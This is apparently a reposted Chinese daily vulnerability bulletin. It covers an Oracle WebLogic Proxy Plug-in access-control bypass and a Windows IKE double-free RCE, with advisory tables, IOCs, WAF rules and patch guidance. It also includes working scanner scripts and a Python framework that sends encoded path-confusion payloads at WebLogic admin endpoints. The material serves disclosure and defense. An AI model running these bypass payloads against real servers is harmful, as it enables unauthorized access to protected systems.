文章总结: CVE-2026-21962是OracleWebLogicServerProxyPlug-in的不当访问控制漏洞,CVSS10.0,已确认在野利用。攻击者可未授权访问后端敏感端点。CISA要求8月27日前修复。建议立即应用Oracle2026年1月CPU补丁并部署WAF规则。 综合评分: 89 文章分类: 漏洞分析,应急响应,安全工具,解决方案,WEB安全
每日漏洞推送 Windows IKE 服务扩展双重释放 → 未认证远程代码执行
原创
nullchen nullchen
富贵学安全
2026年8月25日 10:48 陕西
在小说阅读器读本章
去阅读
📡 每日漏洞情报推送 | 2026-08-25
🔴 漏洞一:CVE-2026-21962 — Oracle WebLogic Server Proxy Plug-in 不当访问控制 → 未认证数据增删改(CVSS 10.0,KEV 修复截止 8/27!)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-21962 | | 影响产品 | Oracle HTTP Server / Oracle WebLogic Server Proxy Plug-in(Apache HTTP Server 版、IIS 版)12.2.1.4.0、14.1.1.0.0、14.1.2.0.0(IIS 版仅 12.2.1.4.0) | | 漏洞类型 | 不当访问控制 (CWE-284) | | CVSS | 10.0 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N | | 公开时间 | 2026-01-20(Oracle 2026年1月 CPU) / 2026-08-24(CISA KEV 收录) | | 在野利用 | ✅ 已确认在野利用 — CISA KEV 收录 | | KEV 修复截止 | 2026-08-27(2天内!) |
🔥 紧急程度
CISA 昨日(08-24)刚将该漏洞加入 KEV 目录,联邦机构须在 08-27 前完成修复 —— 距今仅 2 天。 CVSS 满分 10.0,无需认证、仅需 HTTP 网络可达即可利用,且存在作用域变更(Scope Change):攻击可波及 WebLogic 后端承载的更多业务系统。国内大量政企 Java 应用栈使用 Apache/IIS + WebLogic Proxy Plug-in 架构,请立即核查!
📝 漏洞描述
Oracle Fusion Middleware 的 WebLogic Server Proxy Plug-in(mod_wl / ISAPI 插件)负责将 Apache HTTP Server 或 IIS 的请求反向代理到后端 WebLogic 集群。该插件在处理转发请求时存在不当访问控制缺陷:攻击者可构造特制 HTTP 请求,使插件在转发过程中绕过前端配置的 URL 访问控制与安全约束(如基于路径的 ACL、WLProxyPass 保护规则、管理端点隔离),从而未授权访问、创建、删除或修改 Oracle HTTP Server 及 WebLogic Proxy Plug-in 可访问的关键数据。
该漏洞家族与历史 WebLogic Proxy Plug-in 访问控制绕过(如 CVE-2024-21006 系列)同源,核心是路径规范化(path normalization)不一致:前端 Apache/IIS 与后端插件对 URI 的解析结果不同,攻击者利用编码混淆(双编码、分号参数、反斜杠、重复斜杠)构造”前后端看到不同路径”的请求,让插件把本应被拦截的请求(如访问 /console 管理控制台、/wls-wsat、/uddiexplorer 等敏感端点)转发到后端。
利用条件:无 — 无需认证、无需登录会话,仅需目标 HTTP(S) 端口(通常 80/443)可达。
💻 PoC/EXP
1️⃣ 未认证探测:识别 WebLogic Proxy Plug-in 后端(Python)
#!/usr/bin/env python3
"""
CVE-2026-21962 前置探测 — 识别 WebLogic Proxy Plug-in 架构
注意:仅用于授权安全测试
"""
importrequests
importsys
requests.packages.urllib3.disable_warnings()
TARGET=sys.argv[1] iflen(sys.argv) >1else"http://target.example.com"
TARGET=TARGET.rstrip('/')
# WebLogic 插件在转发请求时会附加特征头
PROBE_HEADERS= [
"WL-Proxy-Client-IP", # mod_wl 附加的真实客户端 IP
"X-WebLogic-Request-ClusterInfo",
"X-WebLogic-ServletPath",
"X-WebLogic-JRID",
]
defprobe():
print(f"[*] 探测目标: {TARGET}")
r=requests.get(TARGET+"/", verify=False, timeout=10,
headers={"X-Forwarded-For": "8.8.8.8"})
found=False
forhinPROBE_HEADERS:
ifh.lower() in [k.lower() forkinr.headers]:
print(f"[+] 响应头 {h}: {r.headers.get(h)}")
found=True
if"WebLogic"inr.textor"weblogic"inr.text:
print("[+] 响应体含 WebLogic 特征")
found=True
# 404/503 错误页特征
ifnotfound:
print("[*] 未见明显插件特征,尝试触发后端错误页...")
r2=requests.get(TARGET+"/__weblogic_test__", verify=False, timeout=10)
ifr2.status_codein (404, 500, 503):
print(f"[*] 状态码 {r2.status_code},响应头: {dict(r2.headers)}")
print("[!] 若确认存在 WebLogic Proxy Plug-in,需核查版本与 CPU 补丁状态")
print("[!] 漏洞版本: 12.2.1.4.0 / 14.1.1.0.0 / 14.1.2.0.0 (IIS 版仅 12.2.1.4.0)")
if__name__=="__main__":
probe()
2️⃣ 路径混淆访问控制绕过框架(Python)
#!/usr/bin/env python3
"""
CVE-2026-21962 访问控制绕过利用框架
原理:利用 Apache/IIS 前端与 WebLogic Proxy Plug-in 之间的路径规范化差异,
通过编码混淆构造"前端认为安全、后端认为敏感"的请求,
绕过前端 ACL 直达后端受保护端点(/console、/wls-wsat 等)。
注意:仅用于授权安全测试;payload 需按目标插件版本微调
"""
importrequests
importsys
importurllib3
urllib3.disable_warnings()
TARGET=sys.argv[1].rstrip('/') iflen(sys.argv) >1else"http://target.example.com"
# 受保护/敏感端点(探测目标)
SENSITIVE_PATHS= [
"/console", # WebLogic 管理控制台
"/console/login/LoginForm.jsp",
"/wls-wsat/CoordinatorPortType",
"/uddiexplorer/",
"/_async/AsyncResponseService",
"/bea_wls_internal/",
"/weblogic/ready",
]
# 路径混淆变形(前端/后端解析差异)
OBFUSCATIONS= [
"{path}", # 原始路径
"//{path}//", # 双斜杠
"/./{path}/./", # 点段
"/%2e/{path}", # 编码点
"/{path}/..;/", # 分号参数截断
"/{path}%3b", # 编码分号
"/{path}/%2e%2e/", # 双编码点点
"/{path}/..%5c", # 编码反斜杠 (IIS)
]
defattempt(path, obf):
url=TARGET+obf.format(path=path)
try:
r=requests.get(url, verify=False, timeout=8, allow_redirects=False)
returnr
exceptrequests.RequestExceptionase:
returnNone
print(f"[*] 目标: {TARGET}")
print("[*] 遍历敏感端点 × 路径混淆组合...\n")
forpathinSENSITIVE_PATHS:
forobfinOBFUSCATIONS:
r=attempt(path, obf)
ifrisNone:
continue
# 后端可达的特征:200 + 登录页/业务内容,或 302 跳转到登录页
interesting= (
r.status_code==200and (
"LoginForm"inr.textor"WebLogic"inr.text
or"console"inr.text.lower()
)
) or (r.status_code==302and"console"inr.headers.get("Location", ""))
ifinteresting:
print(f"[!!!] 疑似绕过成功: {obf.format(path=path)} -> {r.status_code}")
print(f" Location: {r.headers.get('Location', '-')}")
print(f" 响应大小: {len(r.text)} bytes")
print(f" 特征: {'/'.join(set(xforxin ['LoginForm','WebLogic','console'] ifxinr.text))}")
elifr.status_code!=404:
print(f"[*] {r.status_code}{obf.format(path=path)} (len={len(r.text)})")
print("\n[!] 若命中 [!!!] 行,说明前端 ACL 可被绕过,后端受保护端点暴露")
print("[!] 请立即核查 Oracle CPU 2026年1月补丁是否已安装")
3️⃣ 批量核查脚本(Bash + curl)
#!/bin/bash
# CVE-2026-21962 批量核查
# 用法: ./check.sh targets.txt (每行一个 URL)
# 注意: 仅用于授权安全测试
while read -r TARGET; do
[ -z"$TARGET" ] && continue
echo"=== $TARGET ==="
# 1) 插件特征头
curl-sk-D--o /dev/null "$TARGET/" | grep-iE"WL-Proxy|WebLogic" && echo"[+] 存在插件特征"
# 2) 敏感端点可达性(含路径混淆)
for P in"/console/login/LoginForm.jsp""//console//""/console/..;/"; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$P")
[ "$CODE"="200" ] && echo"[!!!] $P -> $CODE (可能绕过成功)"
done
done < "${1:-targets.txt}"
🛡️ 检测与防御
日志检测IOC
访问日志中同一会话内出现大量编码/混淆路径请求:
//console//、/console/..;/、/%2e/console、/console%3b
代理层日志中后端 /console、/wls-wsat、/uddiexplorer 的异常 200 响应
WAF拦截规则(ModSecurity)
SecRule REQUEST_URI "(?i)(?:^|/)(?:console|wls-wsat|uddiexplorer|_async)(?:/|$)" \
"id:1000002,phase:1,deny,status:403,\
msg:'WebLogic 敏感端点访问拦截 (CVE-2026-21962)'"
# 拦截编码混淆特征
SecRule REQUEST_URI "(?i)(?:%2e|%252e|%3b|%253b|\.\.;)" \
"id:1000003,phase:1,deny,status:403,\
msg:'路径混淆绕过尝试 (CVE-2026-21962)'"
修复建议
| 方式 | 说明 | | — | — | | 升级(首选) | 应用 Oracle Critical Patch Update 2026年1月(及后续 CPU)中对应版本补丁;WebLogic Server Proxy Plug-in 升级至 12.2.1.4.0+、14.1.1.0.0+、14.1.2.0.0+ 修复版本 | | WAF | 在 Apache/IIS 前置 WAF 拦截敏感端点与编码混淆特征 | | 网络隔离 | 管理控制台 /console 等端点仅限内网管理网段访问,禁止公网直达 | | 最小暴露 | 如无需插件代理,直接移除 mod_wl / ISAPI 插件 | | 日志排查 | 检查访问日志中异常编码路径请求与后端 200 响应 |
🔗 参考来源
- NVD CVE-2026-21962
- CISA KEV
- Oracle 2026年1月 CPU 公告
- CVE Record (cve.org)
🔴 漏洞二:CVE-2026-33824 — Windows IKE 服务扩展双重释放 → 未认证远程代码执行(CVSS 9.8,KEV 已过期未修)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-33824 | | 影响产品 | Windows Server 2016/2019/2022/2025(含 Server Core)、Windows 10 1607/1809/21H2/22H2、Windows 11 23H2/24H2/25H2/26H1(启用 IKEv2 时受影响) | | 漏洞类型 | 双重释放 Use-After-Free (CWE-415) → 远程代码执行 | | CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(时间分 8.5) | | 公开时间 | 2026-04-14(微软 4月补丁日) / 2026-08-18(CISA KEV 收录) | | 在野利用 | ✅ KEV 收录确认在野利用;Unit 42 披露 AI 自主攻击活动已将其纳入武器库 | | KEV 修复截止 | 2026-08-21(已过期!) |
🔥 紧急程度
该漏洞 KEV 修复截止日期(08-21)已过,仍有大量 Windows 主机未打补丁。 攻击者无需任何认证,仅向启用 IKEv2 的 Windows 主机发送特制网络包(UDP 500/4500)即可触发双重释放实现 RCE,微软定级 Critical。更严峻的是,Unit 42 最新报告披露:中文攻击者使用 DeepSeek + Hermes Agent 构建的 AI 自主攻击活动已将该漏洞纳入 7 个武器化 CVE 之一,攻击门槛进一步降低。凡是暴露 UDP 500/4500 的 Windows 服务器均在风险区!
📝 漏洞描述
Windows Internet Key Exchange (IKE) 服务扩展(IKE Extension,用于 IKEv2/IPsec VPN)在解析攻击者构造的 IKE 报文时存在双重释放(Double Free)缺陷:同一内存块在错误处理路径中被释放两次,导致堆损坏。攻击者向目标 Windows 主机(启用 IKEv2)发送特制报文序列,即可在系统上下文(SYSTEM)中触发远程代码执行,实现完全控制目标主机。
该漏洞影响面极广:微软 4 月补丁日一次性修复了 27 个受影响产品,覆盖 Server 2016 至 2025、Windows 10/11 全主流版本(KB5082198 / KB5082200 / KB5082123 / KB5082142 / KB5082060 / KB5082063 / KB5082052 / KB5083768 / KB5083769)。
利用条件:无认证;目标启用 IKEv2(Windows 内置 VPN/Always On VPN、IPsec 策略、部分远程访问场景默认启用)且 UDP 500/4500 对外可达。
💻 PoC/EXP
⚠️ 微软尚未公开漏洞技术细节(publiclyDisclosed: No),暂无公开完整利用链。以下为授权测试用探测/报文构造框架,用于确认暴露面与验证补丁状态。
1️⃣ 暴露面与 IKEv2 探测(Python)
#!/usr/bin/env python3
"""
CVE-2026-33824 暴露面探测 — UDP 500/4500 可达性与 IKEv2 支持检测
注意:仅用于授权安全测试
"""
importsocket
importstruct
importsys
importtime
TARGET=sys.argv[1] iflen(sys.argv) >1else"192.168.1.100"
PORTS= [500, 4500]
defudp_probe(host, port, payload, timeout=5):
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(timeout)
try:
s.sendto(payload, (host, port))
data, _=s.recvfrom(4096)
returndata
exceptsocket.timeout:
returnNone
exceptExceptionase:
returnf"ERR:{e}"
finally:
s.close()
# IKE_SA_INIT 最小载荷(RFC 7296):IKE 头 + SA + KE + NONCE 占位
# 首包用于确认 IKE 服务是否响应(若响应,说明 IKE 栈在监听并解析报文)
defbuild_ike_sa_init():
# IKE header: SPI(16) + next_payload(1) + ver/flags(1) + exch_type(1) + len(4)
ike_header=b"\x00"*16+bytes([0x22, 0x20, 0x20]) +struct.pack(">I", 28)
returnike_header # 空 SA 载荷的 IKE_SA_INIT,仅触发响应/错误回包
print(f"[*] 探测目标 {TARGET}")
forportinPORTS:
resp=udp_probe(TARGET, port, build_ike_sa_init())
ifrespisNone:
print(f"[*] UDP {port}: 无响应(可能被防火墙过滤或 IKE 未启用)")
elifisinstance(resp, str):
print(f"[-] UDP {port}: {resp}")
else:
print(f"[!!!] UDP {port}: 收到 {len(resp)} 字节响应 — IKE 服务在监听!")
print(" [*] 若主机为 Windows 且未安装 2026-04 补丁,则存在 CVE-2026-33824 风险")
print(" [*] 建议立即: 1) 核查补丁 2) 确认 500/4500 是否必须对外")
print("\n[!] 安全建议: 非必要不将 UDP 500/4500 暴露到公网")
print("[!] 必须使用 IKE 的场景应配置防火墙仅允许已知对端地址")
2️⃣ 补丁状态核查(PowerShell,在目标主机执行)
# CVE-2026-33824 补丁核查(需管理员权限)
# 受影响 KB 与修复版本对照:
# Server 2016/Win10 1607 -> KB5082198 (10.0.14393.9060)
# Win10 21H2/22H2 -> KB5082200
# Server 2019/Win10 1809-> KB5082123
# Server 2022 -> KB5082142
# Server 2022 23H2 -> KB5082060
# Server 2025 -> KB5082063
# Win11 23H2 -> KB5082052
# Win11 24H2/25H2 -> KB5083769
# Win11 26H1 -> KB5083768
$KBs=@("KB5082198","KB5082200","KB5082123","KB5082142",
"KB5082060","KB5082063","KB5082052","KB5083769","KB5083768")
$installed=Get-HotFix|Select-Object-ExpandPropertyHotFixID
$missing=$KBs|Where-Object{$_-notin$installed}
if($missing.Count-eq0){
Write-Host"[+] 已安装相关安全补丁"-ForegroundColorGreen
}else{
Write-Host"[!] 缺失补丁: $($missing-join', ')"-ForegroundColorRed
Write-Host"[!] 主机存在 CVE-2026-33824 风险,请立即通过 Windows Update 更新"
}
3️⃣ 报文构造框架(Scapy,授权测试用)
#!/usr/bin/env python3
"""
CVE-2026-33824 报文构造研究框架(Scapy)
用于在隔离测试环境验证 IKE 栈行为;微软未公开触发细节,
此框架用于生成畸形 IKEv2 报文观察服务端响应差异。
注意:仅限授权环境;切勿对未授权目标发送畸形流量
"""
try:
fromscapy.allimportIP, UDP, Raw, send
fromscapy.contrib.ikev2importIKEv2_SA_INIT
HAS_SCAPY=True
exceptImportError:
HAS_SCAPY=False
print("[-] 请先安装: pip install scapy")
TARGET="192.168.1.100" # 仅限授权测试环境
defcraft_probe():
"""构造 IKE_SA_INIT 探测包"""
pkt=IP(dst=TARGET) /UDP(sport=500, dport=500) /Raw(
# IKE 头: initiator SPI + responder SPI(0) + next_payload(SA=0x22)
# + version(0x20) + flags(0x20) + exch_type(IKE_SA_INIT=0x22) + len
b"\x11\x22\x33\x44\x55\x66\x77\x88" # initiator SPI
b"\x00"*8 # responder SPI
+bytes([0x22, 0x20, 0x20, 0x22]) # next/ver/flags/exch
+b"\x00\x00\x00\x1c" # length
)
returnpkt
ifHAS_SCAPY:
print(f"[*] 发送 IKE_SA_INIT 探测 -> {TARGET}:500")
print("[*] 观察响应: 正常 IKE 栈应返回 Notify/错误或 IKE_SA_INIT 响应")
print("[*] 本框架仅用于学习与授权环境验证,完整利用需等厂商披露细节")
# send(craft_probe()) # 默认不发送,由测试人员显式启用
🛡️ 检测与防御
日志检测IOC
Windows 事件日志(System)中 IKEEXT 服务异常事件:
Event ID 4659/4660(IKE 安全关联建立失败大量出现)
防火墙日志:UDP 500/4500 来自陌生 IP 的异常高频 IKE 报文
临时缓解(微软官方)
1. 不需要 IKE 的系统:防火墙阻止 UDP 500 和 4500 入站流量
2. 需要 IKE 的系统:配置防火墙仅允许来自已知对端地址的
UDP 500/4500 入站流量
(缓解措施仅缩小攻击面,不能替代安装安全更新)
修复建议
| 方式 | 说明 | | — | — | | 立即打补丁 | 安装 2026-04 补丁日对应 KB(见上方对照表),Server 2016 修复版本 10.0.14393.9060 | | 防火墙收敛 | 默认阻止 UDP 500/4500 公网入站,仅放行已知 VPN 对端 | | 核查暴露面 | 用脚本1扫描公网资产中开放 500/4500 的 Windows 主机 | | 入侵排查 | 已过 KEV 截止日期仍未修复的主机,建议排查 IKEEXT 异常事件与可疑进程 | | 关注 AI 攻击 | Unit 42 已确认该漏洞被 AI 自主攻击活动武器化,攻击自动化程度高、频次可能上升 |
🔗 参考来源
- MSRC CVE-2026-33824
- NVD CVE-2026-33824
- CISA KEV
- Unit 42: AI 自主攻击活动报告
- CWE-415 定义
🛡️ 优先行动建议
优先等级 行动 截止日期
────────────────────────────────────────────────────
🔴 最高 Oracle WebLogic Proxy Plug-in 打 CPU 补丁 8月27日
🔴 最高 Windows 打 2026-04 IKE 补丁(已过期!) 立即
🟠 紧急 核查 UDP 500/4500 公网暴露 立即
🟠 紧急 VMware vCenter / SharePoint 补丁 尽快
🟡 关注 macOS Screen Sharing 认证绕过补丁 尽快
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 Windows IKE 服务扩展双重释放 → 未认证远程代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论